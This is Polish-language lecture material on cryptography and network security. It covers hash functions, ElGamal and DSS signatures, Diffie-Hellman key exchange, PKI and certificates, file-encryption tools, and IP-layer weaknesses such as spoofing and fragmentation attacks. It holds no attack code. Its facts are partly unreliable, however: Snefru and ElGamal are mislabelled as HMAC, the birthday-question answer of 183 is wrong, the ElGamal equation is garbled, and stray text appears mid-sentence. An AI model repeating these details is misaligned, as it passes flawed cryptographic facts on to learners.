Możliwe jest jednoczesne osiągnięcie własności poufności, autentyczności i nienaruszalności wiadomości. Uzyskuje się to poprzez znane już szyfrowanie (np. asymetryczne) pary M + H' z poprzedniego przykładu, przed przesłaniem do odbiorcy. Przy tym szyfrowaniu musi oczywiście być wykorzystany odpowiedni klucz publiczny odbiorcy. Schemat ten przedstawia rysunek 3.

Rysunek '3'. Osiąganie poufności, autentyczności i nienaruszalności

Algorytmy skrótu

Pierwsze z powszechnie stosowanych algorytmów generowania skrótu na potrzeby ochrony autentyczności i nienaruszalności informacji - MD i MD2 (autorstwa Rona Rivesta) powstały w latach '80. Algorytm MD nie został nigdy oficjalnie opublikowany. Był wykorzystywany jako autorskie rozwiązanie w systemie pocztowym RSADSI. Natomiast MD2 został ustandaryzowany w dokumencie RFC 1319. W 1990 Ralph Merkle (Xerox) zaproponował algorytm HMAC o nazwie SNEFRU - kilkukrotnie szybszy od MD2. Na to Rivest odpowiedział algorytmem MD4 (RFC 1320). WWwww W roku 1992 złamano SNEFRU i wykryto pewną słabość MD4 w wersji 2-rund i wkrótce Rivest wzmocnił algorytm otrzymując trochę wolniejszy MD5 (RFC1321).

Algorytm MD5

Algorytm MD5 posiada następujące cechy charakterystyczne:

• wykorzystuje 128b wektor IV
• wykonuje 64 iteracje (4 rundy po 16 kroków)
• daje skrót 128b
• teoretyczna odporność na kolizje 2⁶⁴ jest współcześnie uznawana za zbyt słabą

Algorytm SHA (Secure Hash Algorithm)

Algorytm SHA został opracowany przez NSA (National Security Agency) i przyjęty przez NIST jako standard federalny w 1993r. Wersja oryginalna SHA (SHA-0) jest zbliżona do MD4. Algorytm ten posiada następujące cechy charakterystyczne:

• przekształca wiadomość o długości do 2⁶⁴b w skrót 160b
• wykorzystuje 160b wektor IV
• wykonuje 80 iteracji (4 rundy po 20 kroków)

Stosunkowo szybko wykryto słabości SHA-0 (choć ich natury nigdy nie opublikowano) i opracowano SHA-1 (ratyfikowany przez NIST), który jest często spotykany do dziś. Wykazuje odporność na kolizje 160b skrótu - 2⁸⁰ , która jest współcześnie uznawana również za zbyt słabą.

Algorytmy SHA-256 / SHA-384 / SHA-512

Niedawno zaproponowano zupełnie nowe funkcje skrótu: SHA-256, SHA-384 oraz SHA-512, przystosowane do współpracy z kluczami AES (odpowiednio 128b, 192b i 256b). Dają skróty odpowiednio 256b, 384b i 512b. Nie doczekały się jeszcze szerszej analizy jednak dość powszechnie uznawane są za bezpieczne. Mają większą złożoność obliczeniową od poprzedników wymienionych wyżej. W praktyce okazuje się, iż algorytm SHA-384 ma identyczny koszt obliczeniowy co SHA-512, co czyni SHA-384 w praktyce bezużytecznym. Powszechnie spotykane są zatem jedynie SHA-256 oraz SHA-512.

Algorytm RIPE-MD

Algorytm ten powstał w ramach europejskiego (EU) projektu RACE Integrity Primitives Evaluation - Message Digest. W uproszczeniu mówiąc jest to ulepszony wariant MD4 (zmodyfikowane rotacje i kolejność słów wiadomości) Oferuje skrót 128b. Wykorzystuje rejestr strumieniowy. Podczas generowania skrótu wykonuje równoległe 2 przebiegi (za każdym razem z innym zadanym parametrem) w każdej iteracji. Po każdej iteracji oba wyniki łączone z rejestrem strumieniowym. Prawdopodobnie posiada dużą odporność na ataki.

Algorytm HAVAL

Algorytm HAVAL generuje skrót o zmiennej długości: 128b, 160b, 192b, 224b lub 256b. Można i jego uznać za wariant MD4, względem oryginału zmodyfikowano operacje rotacji. Stosuje wyrafinowane funkcje nieliniowe (o własności lawinowości), w każdej iteracji wykonuje inne permutacje. I posiada prawdopodobnie duża odporność na ataki.

Algorytm ElGamal

Ostatnim z wymienionych algorytmów jest ElGamal. Algorytm ten początkowo opracowano właśnie dla realizacji podpisu cyfrowego HMAC. Podpisem wiadomości M jest para (a, b), taka że:
\(a=g^k \bmod p\)
\(b:: M = (xa + kb) \bmod p-1\)
Weryfikacja podpisu cyfrowego następuje pomyślnie jeśli \((y^a a^b) \bmod p == g^M \bmod p\).

Standardy podpisu cyfrowego

W systemach informatycznych powszechnie spotykane są standardy podpisu cyfrowego opracowane w USA. Należą do nich starszy DSS i nowszy SHS

Standard DSS (Digital Signature Standard)

DSS jest to standard NIST z kategorii FIST (Federal Information processing STandard) w wersjach z 1991 i 1993 roku. Obejmuje użycie skrótu SHA-1 oraz algorytmu DSA (Digital Signature Algorithm).

Standard SHS (Secure Hash Standard)

Standard SHS to nowszy projekt NIST z 2001. Obejmuje użycie rodziny SHA-256 / SHA-384 / SHA-512.

Ataki na funkcje skrótu

Najpowszechniej znanym atakiem na funkcje skrótu jest atak urodzinowy. Poniżej przedstawiona zostanie koncepcja tego ataku.

Atak urodzinowy

Paradoks dnia urodzin po lega na dokonaniu następujących obserwacji:

Obserwacja 1:

• pytanie: ile osób potrzeba na tej sali, aby z prawdopodobieństwem 50% znalazła się wśród nich taka, która obchodzi urodziny tego samego dnia co autor tych slajdów? (funkcja mieszająca odwzorowuje zbiór ludzi na 365 lub 366 dni roku)
• odpowiedź: oczywiście 183.

Obserwacja 2:

• pytanie: a ile potrzeba osób, aby wśród nich znalazły się 2 obchodzące urodziny tego samego dnia?
• odpowiedź: tylko 23.

Uogólnienie tego paradoksu przebiega następująco. Mamy dany rozmiar n danych wejściowych (ludzi - w przykładzie urodzin) oraz rozmiar k zbioru wynikowego (daty urodzin). Dla n mamy możliwych n(n-1)/2 par danych wejściowych i dla każdej pary oba elementy dadzą ten sam wynik z prawdopodobieństwem 1/k. Zatem, potrzeba k/2 par aby z prawdopodobieństwem 50% wśród nich była taka jak szukamy - gdzie oba elementy mają tę samą wartość wyniku (datę urodzin). W efekcie jeśli \(n>\sqrt{k}\) to szanse powodzenia są duże. Dla skrótu 128b potrzeba 2¹²⁸ wiadomości aby znaleźć tę, która dała określony skrót, ale wystarczy 2⁶⁴ wiadomości aby znaleźć 2 o identycznym skrócie (znaleźć tzw. kolizję).
Jako komentarz można podać, iż w połowie 2004 r. zespół kryptoanalityków pod kierunkiem Xuejia Lai wykazał zaskakujące kolizje w MD5 podając 2 ciągi po 128 B różniące się zaledwie 6-cioma bajtami. Natomiast na początku 2005 r. zespół kierowany przez Xiaoyuna Wanga wykazał w rodzinie SHA kolizje łatwiejsze niż należy oczekiwać z teoretycznej odporności. Mianowicie w przypadku SHA-1: kolizje dla 2⁶⁹ operacji (przy teoretycznej 2⁸⁰), dla SHA-1 w uproszczonej wersji (58-rund): kolizje dla 2³³ operacji i dla SHA-0: kolizje dla 2³⁹ operacji.

Zarządzanie kluczami

W procesie pozyskiwania i wykorzystania kluczy kryptograficznych występują pewne istotne problemy. Należą do nich poniższe:

problem przekazania klucza

• jak partnerowi komunikacji przekazać w sposób bezpieczny klucz niezbędny do szyfrowania / deszyfrowania?

problem zmiany klucza

• jak go regularnie zmieniać?

problem doboru systemu szyfrowania

• czy wybrać tajny klucz symetryczny? - występuje w tym przypadku, jak pamiętamy, problem skalowalności: 10 osób = 45 kluczy, 100 osób = 4950 kluczy
• czy raczej wybrać publiczny klucz asymetryczny? - tu występuje problem autentyczności skąd pewność jego prawdziwości

Nie istnieje uniwersalne rozwiązanie wszystkich wymienionych problemów, jednak poniżej przedstawiona metoda zaproponowana przez Whitfielda Diffiego i Martina Hellmana jest częściowym rozwiązaniem problemu przekazania klucza. Jest to metoda ciekawa i powszechnie spotykana, dlatego warta bliższego poznania.

Metoda Diffiego-Hellmana (DH)

Metoda Diffiego-Hellmana pozwala partnerom uzgodnić tajny klucz bez ryzyka ujawnienia go podsłuchującym. Początkowo ustalamy wspólny jednorazowy symetryczny klucz sesji (dla każdej sesji inny). Na potrzeby ustalenia klucza sesji wykorzystamy model asymetryczny.
DH wykorzystuje multiplikatywną grupę modulo p - oznaczaną \(\mathbb{Z}_p^*\).
Przez \(\alpha\\) oznaczmy element pierwotny grupy \(\mathbb{Z}_p^*\). Zatem \(\alpha\\) generujące całą grupę.
Czyli zamiast 1, ..., p-1 możemy grupę traktować jako 1, \(\alpha\, \alpha^2, ... , \alpha^{p-2}\).
Schemat postępowania w metodzie DH przedstawia rysunek 4.
Każdy z użytkowników wybiera sobie w nieistotny sposób wartość klucza prywatnego k. Natomiast klucz publiczny K dobiera jako \(\alpha^k\). Klucz ten jest swobodnie i otwarcie przykazywany drugiej stronie komunikacji.
Klucz sesji dobierany jest przez każdą ze stron w taki sposób, że obie uzyskują identyczną wartość \(\Phi\\), przy czym przechwycenie obu transmitowanych kluczy publicznych nie wystarcza do jego uzyskania.

Rysunek '4'. Schemat postępowania w metodzie DH
Metoda D-H nie jest, jak już zaznaczono, idealnym rozwiązaniem. Jest m.in. podatna n atak man-in-the-middle. Przyjmijmy, iż Edziu, znając \(\alpha\\), może skutecznie wkroczyć na etapie negocjacji klucza. Alicja i Bolek będą porozumiewać się poprzez Edzia za pomocą kluczy,
które - jak im się będzie wydawać - wymienili ze sobą.

Dystrybucja kluczy publicznych

Rozważmy możliwe sposoby pozyskiwania kluczy publicznych szyfrowania asymetrycznego. Istnieją następujące warianty:

1. pobranie klucza bezpośrednio od właściciela
2. pobranie klucza z centralnej bazy danych
3. pobranie z własnej prywatnej bazy danych zapamiętanego wcześniej klucza pozyskanego sposobem 1 lub 2

Należy zwrócić uwagę, iż w ogólności istnieje ryzyko podstawienia przez nieuczciwą osobę (atakującego) własnego klucza pod klucz domniemanego użytkownika.
Rozwiązaniem tego problemu, które zyskało dotychczas największą akceptację jest certyfikacja kluczy publicznych.

Certyfikacja

Certyfikację stosuje się w celu uniknięcia podstawienia fałszywego klucza publicznego. Certyfikat jest poświadczeniem autentyczności podpisanym przez osobę (instytucję) godną zaufania, nazywaną urzędem poświadczającym CA (Certification Authority). certyfikat ma najczęściej formę dokumentu elektronicznego. Certyfikat zawiera podstawowe dane identyfikujące właściciela. W ogólnym przypadku, urząd poświadczający CA potwierdza, iż informacja opisująca właściciela klucza jest prawdziwa, a klucz publiczny faktycznie do niego należy. Certyfikat posiada też okres ważności wyznaczający czas przez który certyfikowane dane można uważać za poprawne. Niezależnie od okresu ważności certyfikowane klucze mogą zostać uznane za niepoprawne, np. gdy zaistnieje podejrzenie, iż ktoś nieuprawniony wszedł w posiadanie tajnego klucza prywatnego, odpowiadającego certyfikowanemu kluczowi publicznemu. Urząd poświadczający CA musi przechowywać listę niepoprawnych i nieaktualnych certyfikatów. Oczywiście, unieważnienie klucza jest także rodzajem certyfikatu.
Struktura podstawowa typowego certyfikatu jest przedstawiona na rysunku 5. Oprócz wymienionych tam pól poszczególne certyfikaty mogą zawierać dodatkowe, specyficzne dla konkretnego urzędu CA lub zastosowań, do których certyfikaty są przeznaczone. Przykłady rzeczywistych certyfikatów możemy znaleźć w każdej przeglądarce internetowej.
Jednym z najpopularniejszych współcześnie rodzajów certyfikatów są te zgodne ze standardem ITU-T X.509. Budowa certyfikatu X.509 v.3 obejmuje szereg elementów. Należą do nich:

• struktura podstawowa uzupełniona o zestaw danych identyfikacyjnych podmiotu certyfikatu
• sposób wykorzystania klucza (przeznaczenie, np. do szyfrowania danych, do szyfrowania kluczy, do uzgadniania kluczy, do podpisywania danych, do osiągnięcia niezaprzeczalności)
• informacje o polityce certyfikacji wydawcy certyfikatu (np. ograniczenia długości ścieżki certyfikacji, punkty dystrybucji list certyfikatów unieważnionych).

Ponadto istnieje opcjonalna możliwość tworzenia dodatkowych pól / parametrów identyfikacyjnych, wg potrzeb komunikujących się podmiotów.

Rysunek '5'. Schematyczna struktura typowego certyfikatu
Dystrybucja kluczy przy wykorzystaniu certyfikatów przebiega następująco:

• w celu uzyskania certyfikatu użytkownik zwraca się do urzędu certyfikującego CA dostarczając mu swój klucz publiczny
• do zweryfikowania certyfikatu niezbędny jest tylko i wyłącznie klucz publiczny urzędu certyfikującego
• alternatywnie użytkownik może przesłać swój certyfikat do innych użytkowników z prośbą o poświadczenie jego autentyczności.

W tym ostatnim przypadku mówimy o systemie wzajemnej certyfikacji (sieci wzajemnego zaufania, ang. web of trust). Certyfikat użytkownika, dajmy na to - Alicji, poświadcza (podpisuje) z reguły kilko (kilkunastu) użytkowników. Jeśli po pobraniu przez Bolka, stwierdza on, że wśród podpisów znajdują się jakieś należące do zaufanych mu osób, uznaje on certyfikat za poświadczony.
Zarówno rozwiązania instytucjonalne z urzędami certyfikującymi, jaki i system wzajemnego zaufania mają swoich zwolenników.
W każdym przypadku istnieje dylemat, komu na tyle zaufać, aby mógł być on w pełni wiarygodny i poświadczać (wydawać) certyfikaty? Problem ten dotyczy przede wszystkim pierwszego kontaktu, zwłaszcza w relatywnie anonimowej sieci globalnej Internet, gdzie wzajemne kontakty, „w cztery oczy", nie są raczej najbardziej typowym sposobem komunikacji. Skąd zatem pewność, że certyfikat został pobrany z właściwego urzędu, czy że podpisy poświadczające jego autentyczność rzeczywiście są godne zaufania. ile może istnieć instytucji cieszących takim zaufaniem, iż certyfikaty przez nie podpisane możemy śmiało uznawać za rzetelnie zweryfikowane i autentyczne.
Rozwiązaniem tego problemu jest system, w którym certyfikat musi przebyć pewną kilkuetapową procedurę uwierzytelniającą, a urzędy CA mogą tworzyć wielopoziomową hierarchię. Urzędy danego poziomu hierarchii wystawiają certyfikaty kluczy publicznych urzędom lub użytkownikom znajdującym się na niższym poziomie. Na szczycie znajduje jeden z nielicznych urzędów centralnych, który swym powszechnie uznanym autorytetem ostatecznie poświadcza poprawność całej procedury uwierzytelniającej certyfikat.

Rysunek '6'. Hierarchia urzędów poświadczających
Taka hierarchia urzędów poświadczających jest podstawą funkcjonowania niezwykle ważnego współcześnie mechanizmu informatycznego - infrastruktury kluczy publicznych - PKI (Public Key Infrastructure). Infrastruktura kluczy publicznych obejmuje sprzęt, oprogramowanie, ludzi, polityki bezpieczeństwa i procedury konieczne do utworzenia, zarządzania, przechowywania, dystrybucji i unieważniania certyfikatów kluczy publicznych w skali najczęściej ogólnonarodowej lub światowej. PKI oferuje często dodatkowe certyfikaty, np. Certyfikaty Znacznika Czasu (dla wiarygodnego potwierdzania czasu). W sieci Internet, PKI wykorzystuje specyfikację X.509 (PKIX, RFC 2459).
PKI jest hierarchicznym systemem urzędów certyfikujących oferujących publicznie swoje usługi. Do usług tych należy między innymi:

• weryfikacja tożsamości użytkowników ubiegających się o certyfikaty
• zarządzanie kluczami kryptograficznymi
  • generowanie par kluczy dla użytkowników
  • bezpieczne przechowywanie kluczy
• zarządzanie certyfikatami
  • wystawienie certyfikatów kluczy publicznych
  • generowanie list certyfikatów unieważnionych CRL (Certificate Revocation List)

Komponenty systemu PKI to:

• urzędy CA
• punkty rejestrujące, poręczające zgodność kluczy z identyfikatorami (lub innymi atrybutami) posiadaczy certyfikatów
• użytkownicy certyfikatów podpisujący cyfrowo dokumenty
• klienci weryfikujący podpisy cyfrowe i ścieżki certyfikacji do zaufanego CA
• repozytoria przechowujące i udostępniające certyfikaty i listy unieważnień.

Repozytoriami certyfikatów i list unieważnień mogą być np.:

• serwery LDAP
• respondery OCSP
• serwery WWW
• serwery FTP
• serwery DNS (DNSsec)
• agenci systemu katalogowego X.500 (DSA - Directory System Agents)
• korporacyjne bazy danych

Mimo wysokiej przydatności systemów PKI, nie wszystkie problemy związane z certyfikacją zostały w pełni rozwiązane. Pozostaje przykładowo problem jednoznacznej identyfikacji podmiotu - jaki jest adekwatny kompromis pomiędzy pełnymi danymi identyfikującymi a prywatnością podmiotu? Rozwiązanie tego problemu na ogół przybliża się wprowadzając różne klasy certyfikacji o różnym poziomie zaufania.
Inny problem to problem pierwszego certyfikatu - jak bezpiecznie certyfikować CA? Możliwym rozwiązaniem jest wzajemna certyfikacja różnych urzędów z PKI. Wielość hierarchicznych ośrodków certyfikacji umożliwia współpracę pomiędzy niezależnymi strukturami, również w zakresie wzajemnej certyfikacji. Innym powszechnie spotykanym rozwiązaniem są certyfikaty wybranych urzędów najwyższego poziomu hierarchii wbudowane na stałe w aplikacje (przeglądarki WWW, np. Netscape Navigator ma ponad 30 predefiniowanych certyfikatów urzędów CA). Wówczas, zakładając, iż integralność wersji binarnej aplikacji dystrybuowanej przez producenta nie została naruszona (co, notabene, można weryfikować również technikami kryptograficznymi), można przyjąć autentyczność kluczy publicznych zawartych w tych wbudowanych certyfikatach i bezpiecznie się nimi posługiwać do potwierdzania autentyczności urzędów niższego szczebla hierarchii.
Mechanizmem pobierania certyfikatów CA powszechnie uznanym za standardowy jest przekazywanie ich jako typ MIME application/x-x509-ca-cert. Z kolei do popularnych protokołów wymiany informacji niezbędnych do właściwego zarządzania infrastrukturą kluczy publicznych zaliczyć można CMP (Certificate Management Protocol) oraz SCVP (Simple Certificate Validation Protocol).
W myśl polskiego ustawodawstwa wyróżnia się dwa rodzaje certyfikatów:

Certyfikaty zwykłe (tzw. powszechne)

• obejmują takie zastosowania jak szyfrowanie danych, poczta, www, urządzenia sieciowe, oprogramowanie

Certyfikaty kwalifikowane:

• wywołują skutki prawne równoważne podpisowi własnoręcznemu
  (Ustawa z dn. 18.09.2001 o podpisie elektronicznym)
• przeznaczone dla osób fizycznych, wydawane na podstawie umowy i po (osobistej) weryfikacji tożsamości w Punkcie Rejestracji CA
• znajdują zastosowanie w każdym przypadku składania oświadczenia woli (również e‑faktury)
• nie służą do szyfrowania dokumentów

W naszym kraju istnieje wiele urzędów certyfikacji. Jedne z najstarszych to np.:

• Unizeto Certum www.certum.pl
• Signet www.signet.pl
• Sigillum www.sigillum.pl

Kryptograficzne zabezpieczenie danych

Współcześnie dostępna jest ogromna ilość aplikacji szyfrowania plików i całych katalogów (fragmentów systemu plików). Można tu wymienić np. moduł jądra Linux loop-AES (od wersji 2.4 jądra nosi nazwę cryptoloop). Oferuje on szyfrowanie całego systemu plików na poziomie jądra za pomocą urządzenia blokowego /dev/loop[1-8]. Przykładowe polecenie montowania zaszyfrowanego systemu plików pokazuje poniższa komenda powłoki systemu operacyjnego:

mount -t ext3 crypto.raw /mnt/crypto -oencryption=aes-256

Innym przykładem środowiska szyfrowania plików jest EncFS. Tworzy ono z wybranego katalogu wirtualny system plików w przestrzeni użytkownika, korzystając ze standardowego modułu jądra FUSE (Filesystem in USErspace). Przykładowe wywołanie operacji tego środowiska jest przedstawione poniżej:

encfs ~/.crypto.vfs ~/tajne_dane

Wykonanie tego polecenia za pierwszym razem powoduje utworzenie pliku .crypto.vfs z zaszyfrowanym systemem plików, na podstawie zawartości katalogu tajne_dane. Przy kolejnych wywołaniach następuje podmontowanie .crypto.vfs z do katalogu tajne_dane. Odmontowanie niepotrzebnego już katalogu tajne_dane przebiega standardowo:

fusermount -u ~/tajne_dane

W systemie MS Windows z kolei zawarty jest moduł EFS (Encrypted File System), działający na partycjach NTFS od wersji Windows 2000. EFS działa jako usługa systemowa - przeźroczyście dla aplikacji użytkownika. Usługa ta wykorzystuje algorytm DESX, będący autorską odmianą 3DES firmy Microsoft. Przykład uaktywnienia funkcji szyfrowania pliku poprzez graficzny interfejs użytkownika pokazuje rysunek 7.
Występują dwa rodzaje kluczy EFS tworzonych automatycznie przy pierwszym uaktywnieniu usługi (rysunek 8):

• klucz właściciela pliku przechowywany w certyfikacie użytkownika (na rysunku należy do użytkownika Administrator)
• klucz uniwersalny usługi systemowej odtwarzania danych z kopii zapasowych - Data Recovery Agent (na rysunku również wystawiony przez i dla użytkownika Administrator, lecz nie jest dostępny ani dla niego, ani dla żadnego innego konta poza usługą Data Recovery Agent).

Rysunek '7'. Uaktywnienie funkcji szyfrowania pliku w MS Windows

Rysunek '8'. Uaktywnienie funkcji szyfrowania pliku w MS Windows
Ponadto istnieje wiele narzędzi kryptograficznego zabezpieczania komunikacji. Do najpopularniejszych rozwiązań należą protokoły komunikacyjne:

• SSH (Secure Shell)
• SSL (Secure Sockets Layer) i TLS (Transport Layer Security)
• PCT (Private Communication Technology)

oraz komponenty aplikacji użytkowych, takie jak:

• dla poczty elektronicznej: PGP, PEM, S/MIME, MIME/PGP, MSP
• dla usługi www: S-HTTP
• dla systemów e-commerce: SET (Secure Electronic Transactions).

Rozwiązania te i ich implementacje będą szerzej przedstawione w następnych modułach.

Zadania

1. Dlaczego nadal wykorzystywane są oba systemy kryptograficzne: symetryczny i asymetryczne? Inaczej mówiąc: dlaczego szyfrowanie asymetryczne, oferujące więcej własności bezpieczeństwa, nie wyparło całkowicie szyfrowania symetrycznego?
2. Rozważmy przypadek szczególny ataku man-in-the-middle na realizację metody D-H: co się stanie jeśli Edziu przechwytując komunikację pomiędzy Alicją i Bolkiem zastąpi \(K_A=\alpha^{ka}\) oraz \(K_B=\alpha^{kb}\) przez wartość 1?

Podstawowe problemy bezpieczeństwa sieci komputerowych

Bieżący moduł przedstawia wybrane zagadnienia bezpieczeństwa związane bezpośrednio z niedoskonałościami współczesnych technologii sieci komputerowych. Omówione zostaną problemy bezpieczeństwa podstawowych protokołów sieciowych, klasyfikacja i przykłady ataków na środowiska sieciowe, podstawowe metody obrony oraz przykłady narzędzi podnoszących poziom bezpieczeństwa sieci

Rysunek 1 przedstawia schemat prostej sieci komputerowej analizowany w dalszej części modułu jako przykładowy scenariusz ataków na środowisko sieciowe i obrony przed tymi atakami. Rozważać będziemy sieć lokalną hipotetycznego przedsiębiorstwa lub instytucji, obejmującą serwer aplikacyjny, np. z systemem bazy danych zawierającej dane przetwarzane w firmie, zbiór stacji roboczych, na których działają klienckie aplikacje użytkowników wykorzystujące informacje z bazy danych. Oprócz infrastruktury sieci lokalnej wyróżnimy jeszcze łącze do sieci rozległej. Przyjmijmy dla uatrakcyjnienia rozważań, iż jest to sieć publiczna, np. Internet. Utrzymywanie łącza do sieci rozległej może być wymagane chociażby z tego powodu, że pewne ograniczone informacje z bazy danych firma chce publicznie udostępniać swoim klientom poprzez usługę WWW. Oczywiście możliwych jest kilka punktów dostępowych do sieci rozległej, mogą to być np. łącza modemowe, analogowe lub cyfrowe typu xDSL, lub sieci bezprzewodowe z dostępem do Internetu.

Rysunek 1. Schemat sieci komputerowej analizowany jako scenariusz zagrożeń

Rozważany scenariusz zagrożeń bezpieczeństwa obejmuje następujące przypadki:

1. Uzyskanie dostępu do konta w systemie / bazie danych, z czym wiąże się możliwość:
   1. naruszenia własności poufności / integralności / dostępności przechowywanych w systemie danych
   2. rekonfiguracji systemu (co w istocie jest też naruszeniem własności integralności)
2. Pozyskanie / modyfikacja transmitowanych danych
   1. naruszenia własności poufności / integralności / dostępności danych transmitowanych między serwerem a stacjami roboczymi
3. Rekonfiguracja sieci (urządzeń sieciowych, protokołów) – naruszenie integralności
4. Zablokowanie funkcjonowania stacji / urządzeń sieciowych i w efekcie naruszenie własności dostępności informacji

Przyczyn tych zagrożeń należy przede wszystkim szukać w niedoskonałościach technologii sieciowych wykorzystywanych aktualnie. Należy od razu zaznaczyć, niejako tytułem usprawiedliwienia, iż większość tych technologii zostało zaprojektowanych wiele lat temu (pierwotne wersje niektórych rozważanych standardów datują się na wczesne lata 70-te ubiegłego wieku) i do dziś były zaledwie modernizowane na ogół w celu usprawnienia działania, dostosowania do nowych wymagań, a raczej rzadko dla nieznacznego podniesienia bezpieczeństwa.

Obserwując właściwości technologii należących do kolejnych warstw modelu referencyjnego OSI, interesujących odkryć możemy dokonać już w warstwie pierwszej – fizycznej. Poniżej przypomniane zostaną, raczej jedynie hasłowo, tytułem zaakcentowania, najistotniejsze z tych właściwości.

Elementami specyfikacji funkcjonalnej tej warstwy są topologie fizyczne i media komunikacyjne.

Ze względu na własności zarówno poufności, integralności jak i dostępności możemy łatwo uszeregować typowe topologie sieciowe o najmniej do najbardziej bezpiecznej (zastanów się jak wygląda to uszeregowanie). Szczęśliwie najkorzystniej wypada tu najpowszechniej dziś spotykana topologia gwiazdy (przypomnij sobie jej własności).

Rysunek 2. Modele typowych topologii sieciowych

Również typowo dziś spotykane media można podobnie uszeregować, od najmniej bezpiecznych z natury – mediów bezprzewodowych, poprzez różne technologie skrętki komputerowej, niechaj wymienić tu: UTP, FTP, STP czy SSTP, aż po światłowód.

W warstwie łącza danych pojawiają się już elementy inteligencji sieciowej – protokoły komunikacyjne. Najistotniejszym współcześnie jest niewątpliwie protokół Ethernet w różnych stosowanych standardach.

Z punktu widzenia bezpieczeństwa architekturę sieci Ethernet wyróżniają następujące cechy:

• ruch niejawnie rozgłoszeniowy, współdzielenie medium (topologia logiczna)
• komunikacja jawnie rozgłoszeniowa (adresy rozgłoszeniowe i grupowe)
• możliwość pracy sterownika sieciowego w trybie diagnostycznym (ang. promiscuous)
• stosowane proste liniowe sumy kontrolne (CRC) dla kontroli integralności transmitowanych ramek

Funkcjonujące w tej warstwie urządzenia sieciowe (mosty i przełączniki) charakteryzują następujące cechy:

• mostowanie transparentne (TB) i źródłowe (SR) i związana z tymi funkcjami selektywna propagacja danych (prosta lecz podatna na nadużycia odmiana filtracji)
• automatyka obsługi dowolnych stacji i współpracy z innymi urządzeniami (np. protokół drzewa rozpinającego STP)

Z racji szczególnej roli wszechobecnej dziś rodziny protokołów TCP/IP, spośród kolejnych warstw modelu OSI najistotniejsze są te, które odwzorowują się najdokładniej na model internetowy. Dotyczy to warstwy sieciowej, transportowej oraz aplikacyjnej.

W warstwie sieciowej szczególną uwagę należy zwrócić na problematykę:

• bezpołączeniowa semantyki i zawodnej transmisji pakietów (datagramów) IP
• mechanizmów zautomatyzowanego wsparcia dla adresacji: ARP, RARP
• funkcjonalności routingu dynamicznego
• kapsułkowania (kopertowania) pakietów.

Zagadnienia dotyczące warstwy sieciowej są na tyle ważne, iż wymienione wyżej problemy zostaną omówione szerzeń w dalszej części bieżącego modułu. Wcześniej jednak podkreślone zostaną istotne cechy pozostałych ważnych warstw.

Warstwa transportowa cechuje się funkcjonalnością której najistotniejsze elementy określa się mianem sterowania przepływem.

Natomiast w warstwie aplikacyjnej pojawiają się problemy związane z niedoskonałościami popularnych protokołów (telnet, ftp, SMTP, POP, IMAP) na ogół nie dysponujących mechanizmami ochrony poufności oraz integralności i stosującymi mało wiarygodne mechanizmy uwierzytelniania.

Warstwa sieciowa

Protokół IP, jest najpowszechniej spotykanym protokołem sieciowym i analizę problemów bezpieczeństwa ograniczamy wyłącznie do aspektów dotyczących tego protokołu.

Rysunek 3. Format datagramu IP

Adresacja

Adresacja jest jednym z zadań podstawowych protokołów warstwy sieciowej. Pola adresowe ustawiane są w nagłówku datagramu IP przez stację nadawczą (źródło, ang. source). Z zawartością pól adresowych wiążą się następujące problemy:

• nie ma gwarancji, że pakiet został wysłany z adresu wpisanego w polu Source Address
• wiele systemów kontroluje to pole w momencie wysyłania datagramu
• niektórzy operatorzy dostępu do Internetu stosują filtry blokujące pakiety z nieprawidłowym adresem źródłowym
• mimo tego nie można polegać na poprawności adresu źródłowego odebranego pakietu.

Problemy te dyskwalifikują uwierzytelnianie poprzez wartość pola adresu źródłowego. Niestety wiele protokołów aplikacyjnych posiada wbudowane takie mechanizmy. Ewentualny atak na system może zatem polegać sfałszowaniu adresu źródłowego (IP spoofing). Kompromituje to procedury uwierzytelniania ofiary.

Trasowanie

Trasowanie (routing) polegające na wyznaczaniu drogi do adresata. W przypadku protokołu IP trasowanie jest wykonywane pojedynczymi etapami. Zadanie to wykonuje router. Trasowanie jest niezwykle istotnym elementem działania warstwy sieciowej i związanych z nim jest kilka problemów:

• przeciążony router może odrzucać nadchodzące pakiety
• za retransmisję odpowiadać muszą protokoły warstw wyższych
• jeśli router zostanie „zalany” bardzo dużą masą pakietów (nieistotne czy prawidłowych), to ewentualne przeciążenie doprowadzi do zablokowania komunikacji (pakietów należących do aktywnych sesji – asocjacji IP)

Przeciążenie routera implikuje zagrożenia dostępności danych transmitowanych w pakietach kierowanych do niego. Co więcej, potencjalny atak zdalny skierowany przeciwko innym stacjom sieciowym może wykorzystywać chwilową niedostępność pakietów z oryginalnego źródła celem podszycia się pod źródłowy komputer.

Fragmentacja pakietów

Fragmentacja datagramów IP jest często realizowaną funkcją, pierwotnie zamierzoną jako mechanizm optymalizacji kosztu przetwarzania pakietów. O wielkości fragmentów decyduje wartość MTU (Maximum Transfer Unit) związana z wielkością pola danych ramek warstwy drugiej OSI. Do fragmentacji dochodzić może na dowolnym etapie drogi między nadawcą a odbiorcą. Oryginalny datagram otrzymuje unikalny (w przybliżeniu) identyfikator, którym opatrywane są kolejne fragmenty. Kolejność fragmentów determinuje względny numer pierwszego bajtu przekazywanego w polu danych fragmentu liczony od początkowego bajtu oryginalnego datagramu (Fragment Offset). Scalanie fragmentów odbywa się na węźle odbiorcy.

Fragmentacja może stanowić potencjalne źródło zagrożenia a następujących powodów:

• każdy fragment jest również datagramem i jako taki może mieć, teoretycznie, do 64 kB wielkości – z premedytacją spreparowane fragmenty przekraczające w sumie 64 kB mogą powodować błędy scalania
• podobnie manipulacje wartościami pola Fragment Offset
• niektóre stacje IP, w tym zabezpieczenia (filtry pakietów), mogą zachowywać się niepoprawnie atakowane przez niewłaściwie pofragmentowane pakiety – zjawisko to wykorzystuje np. teardrop attack [Ziemba, RFC 1858]
• często filtry przetwarzają właściwie (np. odrzucają) tylko pierwszy fragment pakietu – wynika to z faktu iż w praktyce informacje niezbędne do przeprowadzenia filtracji znajdują się tylko w pierwszym pakiecie, a ponadto jest to działanie wystarczające do wykluczenia poprawnego scalenia niepożądanego datagramu w węźle odbiorcy, jednak powoduje to mimowolne przepuszczanie kolejnych fragmentów należących do (będących przecież kontynuacją) ruchu sklasyfikowanego jako niepożądany. Fakt przepuszczania takich pakietów może zostać wykorzystany do realizacji niektórych typów ataków.

Rysunek 4. Schemat fragmentacji IP

Pakiety rozgłoszeniowe

